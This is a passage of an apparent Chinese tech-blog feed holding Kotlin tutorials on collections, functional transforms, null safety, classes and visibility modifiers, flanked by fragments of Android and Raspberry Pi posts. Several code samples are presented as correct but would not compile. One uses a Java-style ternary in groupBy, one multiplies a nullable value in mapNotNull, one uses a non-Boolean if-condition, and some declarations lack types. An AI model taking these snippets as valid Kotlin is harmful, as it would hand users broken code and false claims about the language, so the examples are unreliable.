class="line">&lt;activity</span><br><span class="line">      android:name=<span class="string">&quot;.MyActivity&quot;</span></span><br><span class="line">      android:label=<span class="string">&quot;@string/my&quot;</span>&gt;</span><br><span class="line">      &lt;intent-filter&gt;</span><br><span class="line">        &lt;action</span><br><span class="line">          android:name=<span class="string">&quot;android.intent.action.EDIT&quot;</span> /&gt;</span><br><span class="line">      &lt;/intent-filter&gt;</span><br><span class="line">&lt;/activity&gt;</span><br></pre></td></tr></table></figure><p>MyActivity只响应操作为EDIT的Intent<br>隐式Intent的应用场景很常见，比如点开一个txt文件时安卓会弹窗询问要用哪个编辑器打开，这些出现的编辑器都声明了相关的IntentFilter</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Android" scheme="https://www.fireflycamp.net/tags/Android/"/>
    
  </entry>
  
  <entry>
    <title>Kotlin: 数据结构篇</title>
    <link href="https://www.fireflycamp.net/2025/01/13/Kotlin-%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E7%AF%87/"/>
    <id>https://www.fireflycamp.net/2025/01/13/Kotlin-%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E7%AF%87/</id>
    <published>2025-01-13T07:52:12.000Z</published>
    <updated>2026-04-14T16:20:27.307Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>单独的语法就如同无米之炊，Kotlin内建了不少数据结构供开发者使用</p><h1 id="与Java的互操作性"><a href="#与Java的互操作性" class="headerlink" title="与Java的互操作性"></a>与Java的互操作性</h1><p>由于Java已经有了成熟的集合框架，Kotlin直接将其拿过来做了一层包裹，增加了一些新功能，形成了自己的集合框架: kotlin.collections</p><h1 id="类型层次结构"><a href="#类型层次结构" class="headerlink" title="类型层次结构"></a>类型层次结构</h1><p>Kotlin集合框架中的数据类型可分为两种，一是不可更改其储存值的不可变类，二是可更改其值的可变类。两组类型镜像对称构成了整体的层次结构</p><pre class="mermaid">classDiagram    class Map    Iterable <|-- Collection    Collection <|-- List    Collection <|-- Set    class MutableMap    Iterable <|-- MutableIterable    MutableIterable <|-- MutableCollection    MutableCollection <|-- MutableList    MutableCollection <|-- MutableSet</pre><p>不可变类虽然缺少更改操作，但防止了值不小心改变以及保证了线程安全；可变类拥有更多的操作，但需要额外的开销（获取和释放锁）来去保证线程安全；总之，两者各有利弊</p><h1 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h1><p>这些集合类型通过Kotlin集合框架里的<code>xxxOf</code>静态方法进行初始化</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> x = listOf(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line"><span class="keyword">val</span> y = mutableMapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>, <span class="number">2</span> to <span class="string">&#x27;B&#x27;</span>)</span><br></pre></td></tr></table></figure><h1 id="集合运算"><a href="#集合运算" class="headerlink" title="集合运算"></a>集合运算</h1><p>加减元素以及合并可以通过基本的运算符来实现</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">( listOf(<span class="number">1</span>,<span class="number">2</span>) + <span class="number">3</span> ).equals( listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>) ) <span class="comment">// true</span></span><br><span class="line">( listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">2</span>) - <span class="number">2</span> ).equals( listOf(<span class="number">1</span>,<span class="number">2</span>) ) <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line">( mapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>) + (<span class="number">2</span> to <span class="string">&#x27;B&#x27;</span>) ).equals( mapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>, <span class="number">2</span> to <span class="string">&#x27;B&#x27;</span>) ) <span class="comment">// true</span></span><br><span class="line">( mapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>) - <span class="number">1</span> ).equals( mapOf() ) <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line">( listOf(<span class="number">1</span>,<span class="number">2</span>) + listOf(<span class="number">3</span>,<span class="number">4</span>) ).equals( listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>) ) <span class="comment">// true</span></span><br><span class="line">( mapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>) + mapOf(<span class="number">2</span> to <span class="string">&#x27;B&#x27;</span>) ).equals( mapOf(<span class="number">1</span> to <span class="string">&#x27;A&#x27;</span>, <span class="number">2</span> to <span class="string">&#x27;B&#x27;</span>) ) <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p>值得注意的是这些运算会产生新的对象，不改变已有的对象</p><h1 id="泛函编程"><a href="#泛函编程" class="headerlink" title="泛函编程"></a>泛函编程</h1><p>不同于围绕对象式编程，泛函编程将计算机中的运算视为数学上的函数运算，避免去改变对象的值。泛函指的是以函数为输入的一类特殊数学函数，Kotlin支持一系列泛函变幻方法来方便将函数作用到集合类型上，相比于<code>for</code>语句和<code>forEach</code>方法，这些变幻方法有着更高的可读性且保证线程安全</p><h2 id="布尔变幻"><a href="#布尔变幻" class="headerlink" title="布尔变幻"></a>布尔变幻</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>).any &#123; it % <span class="number">3</span> == <span class="number">0</span> &#125; <span class="comment">// 是否任何元素是3的倍数，it指代函数唯一的参数</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>).all &#123; it % <span class="number">3</span> == <span class="number">0</span> &#125; <span class="comment">// 是否全是3的倍数</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>).none &#123; it % <span class="number">3</span> == <span class="number">0</span> &#125; <span class="comment">// 是否没有3的倍数</span></span><br></pre></td></tr></table></figure><h2 id="映射变幻"><a href="#映射变幻" class="headerlink" title="映射变幻"></a>映射变幻</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>).map&#123; it * <span class="number">2</span> &#125;.equals( listOf(<span class="number">2</span>,<span class="number">6</span>) ) <span class="comment">// true</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>,<span class="literal">null</span>).mapNotNull&#123; it * <span class="number">2</span> &#125;.equals( listOf(<span class="number">2</span>,<span class="number">6</span>) ) <span class="comment">// true</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">3</span>).mapIndexed &#123; (index, elem) -&gt; index * elem &#125; <span class="comment">// true</span></span><br><span class="line">listOf( listOf(<span class="number">1</span>,<span class="number">2</span>), listOf(<span class="number">2</span>,<span class="number">3</span>) ).flatMap&#123; it &#125;.equals( listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">3</span>) ) <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h2 id="筛子变幻"><a href="#筛子变幻" class="headerlink" title="筛子变幻"></a>筛子变幻</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>).filter &#123; it % <span class="number">3</span> == <span class="number">0</span> &#125; <span class="comment">// 只保留3的倍数</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>).filterNot &#123; it % <span class="number">3</span> == <span class="number">0</span> &#125; <span class="comment">// 过滤掉3的倍数</span></span><br><span class="line">listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="literal">null</span>).filterNotNull() <span class="comment">// 只保留非空元素</span></span><br></pre></td></tr></table></figure><h2 id="累加变幻"><a href="#累加变幻" class="headerlink" title="累加变幻"></a>累加变幻</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>).reduce &#123; acc, item -&gt; acc * item &#125; <span class="comment">// 6</span></span><br><span class="line">listOf().reduceOrNull &#123; acc, item -&gt; acc * item &#125; <span class="comment">// null</span></span><br></pre></td></tr></table></figure><h2 id="分组变幻"><a href="#分组变幻" class="headerlink" title="分组变幻"></a>分组变幻</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">listOf(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>).groupBy&#123; </span><br><span class="line">    it % <span class="number">2</span> == <span class="number">0</span> ? <span class="string">&quot;even&quot;</span> : <span class="string">&quot;odd&quot;</span></span><br><span class="line">&#125;.equals(</span><br><span class="line">    mapOf(</span><br><span class="line">        <span class="string">&quot;even&quot;</span> to listOf(<span class="number">2</span>,<span class="number">4</span>),</span><br><span class="line">        <span class="string">&quot;odd&quot;</span> to listOf(<span class="number">1</span>,<span class="number">3</span>)</span><br><span class="line">    )</span><br><span class="line">) <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h2 id="序列"><a href="#序列" class="headerlink" title="序列"></a>序列</h2><p>上述这些方法都会强制去将输入的函数作用在每个元素上，但有些情形，比如下载第一个符合条件的URL，只需要用到一部分元素。序列便用于解决这类问题，其只在需要的时候才去将函数作用在元素上</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">sequenceOf(<span class="string">&quot;https://example.com&quot;</span>, <span class="string">&quot;https://web.archive.org&quot;</span>, <span class="string">&quot;https://letsencrypt.org&quot;</span>).map &#123;</span><br><span class="line">    fetchPage(it)</span><br><span class="line">&#125;.first &#123;</span><br><span class="line">    responseCodeIs200(it)</span><br><span class="line">&#125; <span class="comment">// 只会fetch第一个url</span></span><br><span class="line"></span><br><span class="line">listOf(<span class="string">&quot;https://example.com&quot;</span>, <span class="string">&quot;https://web.archive.org&quot;</span>, <span class="string">&quot;https://letsencrypt.org&quot;</span>).map &#123;</span><br><span class="line">    fetchPage(it)</span><br><span class="line">&#125;.first &#123;</span><br><span class="line">    responseCodeIs200(it)</span><br><span class="line">&#125; <span class="comment">// 会fetch所有url</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="engineering" scheme="https://www.fireflycamp.net/categories/engineering/"/>
    
    
    <category term="Android" scheme="https://www.fireflycamp.net/tags/Android/"/>
    
    <category term="Kotlin" scheme="https://www.fireflycamp.net/tags/Kotlin/"/>
    
  </entry>
  
  <entry>
    <title>Kotlin: 语法篇</title>
    <link href="https://www.fireflycamp.net/2025/01/08/Kotlin-%E8%AF%AD%E6%B3%95%E7%AF%87/"/>
    <id>https://www.fireflycamp.net/2025/01/08/Kotlin-%E8%AF%AD%E6%B3%95%E7%AF%87/</id>
    <published>2025-01-08T10:46:26.000Z</published>
    <updated>2025-07-22T14:26:42.045Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>作为安卓开发的现任官方语言，Kotlin的名字取自于圣彼得堡旁边的一座小岛，就像其前任Java的名字取自于印度尼沙的一座小岛一样，暗示着自己准备将其取而代之的野心</p><h1 id="与Java的互操作性"><a href="#与Java的互操作性" class="headerlink" title="与Java的互操作性"></a>与Java的互操作性</h1><p>Java的势力广大，囊括了很多主流的安卓App和Library，想要诱使Java开发者们改宗必须做出一些妥协: Kotlin和Java代码可以互相调用，兼容已有的遗产代码; Kotlin可以让自己被编译成Java字节码，进而被JVM执行，实现与Java共享运行环境</p><h1 id="类型系统"><a href="#类型系统" class="headerlink" title="类型系统"></a>类型系统</h1><p>不像Java分primitive和reference类型，Kotlin贯彻着万物皆为对象的原则，将<code>Any</code>&#x2F;<code>Any?</code>作为根类型被其他类型继承。除此之外，为了保持null安全性，Kotlin的类型分为可空类和非空类，一一对应</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> s1: String <span class="comment">// 非空类型声明</span></span><br><span class="line">s1 = <span class="literal">null</span> <span class="comment">// 编译报错</span></span><br><span class="line"><span class="keyword">val</span> s2: String? <span class="comment">// 可空类型声明</span></span><br><span class="line">s3 = <span class="literal">null</span> <span class="comment">// 成功</span></span><br></pre></td></tr></table></figure><p>访问可空表达式的属性和方法时需要在表达式后面加个问号</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> x: <span class="built_in">Int</span>? = listOf(<span class="number">4444</span>, <span class="literal">null</span>).random()</span><br><span class="line">println(x.toHexString()) <span class="comment">// 编译报错</span></span><br><span class="line">println(x?.toHexString()) <span class="comment">// 成功</span></span><br></pre></td></tr></table></figure><p>使用埃尔维斯运算符<code>?:</code>给可空的表达式加一个备用值</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">println(listOf(<span class="number">4444</span>, <span class="literal">null</span>).random() ?: <span class="number">5555</span>)</span><br></pre></td></tr></table></figure><p>当然保留了Java的三元运算符，不过换了一种形式</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">println( <span class="keyword">if</span> ( listOf(<span class="number">4444</span>, <span class="literal">null</span>).random() ) <span class="number">5555</span> <span class="keyword">else</span> <span class="number">6666</span>)</span><br></pre></td></tr></table></figure><p>不同于Java，Kotlin中所有语句都可以写成表达式，给其分配一个值，不产生值的则会被分配一个特殊值<code>Unit</code>，从属于<code>Unit</code>类型，代表没有东西。</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">println(<span class="keyword">if</span> ( listOf(<span class="literal">true</span>, <span class="literal">false</span>).random() ) &#123; &#125; <span class="keyword">else</span> &#123; &#125; ) <span class="comment">// 回显kotlin.Unit</span></span><br></pre></td></tr></table></figure><p>函数作为对象也有自己的类型，可以直接被塞到变量里面然后调用</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> f: (<span class="built_in">Double</span>, <span class="built_in">Double</span>) -&gt; <span class="built_in">Double</span> = &#123; x, y -&gt; listOf(x,y).random() &#125;</span><br><span class="line">println(f(<span class="number">1.1</span>, <span class="number">2.2</span>))</span><br></pre></td></tr></table></figure><p>Kotlin还可以根据初始表达式自动推断变量类型，免去声明的麻烦</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> x = <span class="string">&quot;abc&quot;</span> <span class="comment">// String</span></span><br><span class="line"><span class="keyword">val</span> y = <span class="number">1L</span> <span class="comment">// Long</span></span><br><span class="line"><span class="keyword">val</span> z = &#123; x: <span class="built_in">Int</span>, y: String -&gt; listOf(x,y).random() &#125; <span class="comment">// (Int, String) -&gt; Any</span></span><br><span class="line"><span class="keyword">val</span> w = listOf(<span class="number">1</span>, <span class="number">2.0</span>, <span class="string">&quot;A&quot;</span>) <span class="comment">// List&lt;Any&gt;</span></span><br></pre></td></tr></table></figure><h1 id="变量和函数"><a href="#变量和函数" class="headerlink" title="变量和函数"></a>变量和函数</h1><p>变量和函数不必像Java一样必须在class里定义</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="keyword">val</span> x = <span class="number">1</span> <span class="comment">// 只读变量，类似于final</span></span><br><span class="line">    x = <span class="number">2</span> <span class="comment">// 报错</span></span><br><span class="line">    <span class="keyword">var</span> y = <span class="number">1</span> <span class="comment">// 可写变量</span></span><br><span class="line">    y = <span class="number">2</span> <span class="comment">// 成功</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">foo</span><span class="params">(x: <span class="type">Int</span>, action: (<span class="type">Int</span>) -&gt; <span class="type">Int</span>)</span></span> : <span class="built_in">Int</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> action(x)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>传参的时候如果最后一个参数是函数可以用Block语法写在外面</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">foo(<span class="number">2</span>) &#123; x -&gt; x * x &#125;</span><br></pre></td></tr></table></figure><p>扩展函数可以给已有的class扩展方法</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">fun</span> File.<span class="title">getWordlist</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">this</span>.readText().split(<span class="string">&quot; &quot;</span>).distinct()</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="自定义类"><a href="#自定义类" class="headerlink" title="自定义类"></a>自定义类</h1><p>在class里<code>val</code>&#x2F;<code>var</code>语句被用作定义属性，属性由field，initializer，getter以及setter组成，当然只读属性没有setter</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> x = <span class="number">233</span></span><br><span class="line">        <span class="keyword">set</span>(newValue) &#123;</span><br><span class="line">            field = newValue * <span class="number">2</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">get</span>() &#123;</span><br><span class="line">            <span class="keyword">return</span> field</span><br><span class="line">        &#125;</span><br><span class="line">    <span class="keyword">val</span> y = <span class="number">666</span></span><br><span class="line">        <span class="keyword">set</span>(newValue) &#123; field = newValue &#125; <span class="comment">// 编译报错</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="keyword">val</span> c = C()</span><br><span class="line">    println(c.x) <span class="comment">// 233</span></span><br><span class="line">    c.x = <span class="number">233</span></span><br><span class="line">    println(c.x) <span class="comment">// 466</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果getter和setter都只需要默认的，可以直接将属性写进原初构造函数里</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span>(<span class="keyword">val</span> x: <span class="built_in">Int</span> = <span class="number">233</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    println(C().x) <span class="comment">// 233</span></span><br><span class="line">    println(C(<span class="number">666</span>).x) <span class="comment">// 666</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果想在构造时做一些额外的事，可以使用init块以及次级构造函数，值得注意的是每个次级构造函数需要先调用原初构造函数</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span>(<span class="keyword">var</span> x: <span class="built_in">Int</span>) &#123;</span><br><span class="line">    <span class="keyword">init</span> &#123;</span><br><span class="line">        x *= <span class="number">10</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">constructor</span>(initX, y) : <span class="keyword">this</span>(initX) &#123;</span><br><span class="line">        x += y</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    println(C(<span class="number">233</span>, <span class="number">3</span>).x) <span class="comment">// 2333</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>执行的顺序是原初构造函数-&gt;每个属性的initializer-&gt;init块-&gt;次级构造函数<br>如果在声明一个属性的时候还没想好初始值，可以使用lateinit关键字告诉编译器”不用管这个反正我在用之前会初始化的”</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line">    <span class="keyword">lateinit</span> <span class="keyword">var</span> x </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在优化性能时如果想要把只读属性的初始化操作分散到不同的时间点中，可以使用懒初始化声明，让属性在被真正用到时再初始化</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line">    <span class="keyword">val</span> x <span class="keyword">by</span> lazy &#123;  <span class="number">233</span> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>用伴生对象实现和类绑定的静态属性和方法</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line">    <span class="keyword">companion</span> <span class="keyword">object</span> &#123;</span><br><span class="line">        <span class="keyword">val</span> X = listOf(<span class="number">233</span>, <span class="number">666</span>).random()</span><br><span class="line">        <span class="keyword">const</span> <span class="keyword">val</span> Y = <span class="string">&quot;AAA&quot;</span> <span class="comment">// 如果常数值在编译时已知，可以用const标记免除初始化操作</span></span><br><span class="line">        <span class="function"><span class="keyword">fun</span> <span class="title">foo</span><span class="params">()</span></span>: <span class="built_in">Int</span> &#123; <span class="keyword">return</span> <span class="number">233</span> &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123; </span><br><span class="line">    println(C.X) <span class="comment">// 233/666 </span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于存放数据的类型，Kotlin贴心的提供了数据类，默认有着<code>equals</code>,<code>hashCode</code>,<code>toString</code>符合直觉的方法实现以及构造函数</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">data</span> <span class="keyword">class</span> <span class="title class_">C</span>(<span class="keyword">var</span> x: <span class="built_in">Int</span>, <span class="keyword">var</span> y: <span class="built_in">Int</span>) &#123; &#125;</span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="keyword">val</span> c = C(<span class="number">2</span>, <span class="number">4</span>)</span><br><span class="line">    println(c) <span class="comment">// C(x=2, y=4)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后是有着自定义固定值的Enum类</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> <span class="keyword">class</span> <span class="title class_">E</span> &#123;</span><br><span class="line">    A, B, C, D</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="keyword">val</span> x = listOf(E.A, E.B, E.C, E.D).random()</span><br><span class="line">    <span class="keyword">when</span> (x) &#123;</span><br><span class="line">        E.A -&gt; println(<span class="string">&quot;A&quot;</span>)</span><br><span class="line">        E.B -&gt; println(<span class="string">&quot;B&quot;</span>)</span><br><span class="line">        E.C -&gt; println(<span class="string">&quot;C&quot;</span>)</span><br><span class="line">        E.D -&gt; println(<span class="string">&quot;D&quot;</span>) </span><br><span class="line">        <span class="keyword">else</span> -&gt; println(<span class="string">&quot;Should not get there!&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="可见性修饰符"><a href="#可见性修饰符" class="headerlink" title="可见性修饰符"></a>可见性修饰符</h1><p>可见性修饰符可以用来限制变量，函数，类，以及方法的使用范围，不标记默认被当作<code>public</code></p><ul><li><code>public</code>: 无限制</li><li><code>internal</code>: 只有同一模块可见</li><li><code>protected</code>: 当前类以及子类可见</li><li><code>private</code>: 对于类中声明，当前类可见，对于顶层声明，当前文件内可见</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="development" scheme="https://www.fireflycamp.net/categories/development/"/>
    
    
    <category term="Android" scheme="https://www.fireflycamp.net/tags/Android/"/>
    
    <category term="Kotlin" scheme="https://www.fireflycamp.net/tags/Kotlin/"/>
    
  </entry>
  
  <entry>
    <title>Linux 上初始化 Raspberry Pi</title>
    <link href="https://www.fireflycamp.net/2024/11/24/Linux%E4%B8%8A%E5%88%9D%E5%A7%8B%E5%8C%96Raspberry%20Pi/"/>
    <id>https://www.fireflycamp.net/2024/11/24/Linux%E4%B8%8A%E5%88%9D%E5%A7%8B%E5%8C%96Raspberry%20Pi/</id>
    <published>2024-11-23T18:11:50.000Z</published>
    <updated>2025-07-22T14:26:47.996Z</updated>
    
